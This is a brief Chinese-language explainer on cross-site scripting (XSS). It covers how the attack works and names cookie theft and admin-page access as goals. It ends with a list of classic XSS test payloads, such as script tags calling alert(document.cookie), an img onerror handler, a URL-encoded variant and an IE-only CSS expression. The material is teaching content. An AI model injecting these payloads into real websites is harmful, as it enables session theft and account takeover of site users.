Cross Site Scripting的缩写本来是CSS,但是这样就跟Cascading Style Sheets的缩写混淆了,所以使用XSS,使用字母X更库,而且更贴切的反应这是一种恶意攻击技术,中文名称是“跨站脚本攻击”。
原理概要:某个恶意用户发现一个网站存在XSS漏洞,该用户向此网站上传内容时,例如,提交表单,在表单中填写的不是正常的内容,而是填写恶意的Javascript代码或者能够造成网站页面中的HTML标签被恶意闭合的内容,这样其他用户浏览该页面时,嵌入其中的Javascript代码被执行或者由于恶意标签闭合造成页面逻辑的改变,都可以被利用达到攻击的目的。
攻击方法
- 偷 cookie
- 利用 iframe 或 frame 存取管理頁面或後台頁面。
- 利用 XMLHttpRequest 存取管理頁面或後台頁面。
- ><script>alert(document.cookie)</script>
- ='><script>alert(document.cookie)</script>
- <script>alert(document.cookie)</script>
- <script>alert(vulnerable)</script>
- %3Cscript%3Ealert('XSS')%3C/script%3E
- <script>alert('XSS')</script>
- <img src="javascript:alert('XSS')">
- <img src="http://xxx.com/yyy.png" onerror="alert('XSS')">
- <div style="height:expression(alert('XSS'),1)" />(這個僅限 IE 有效)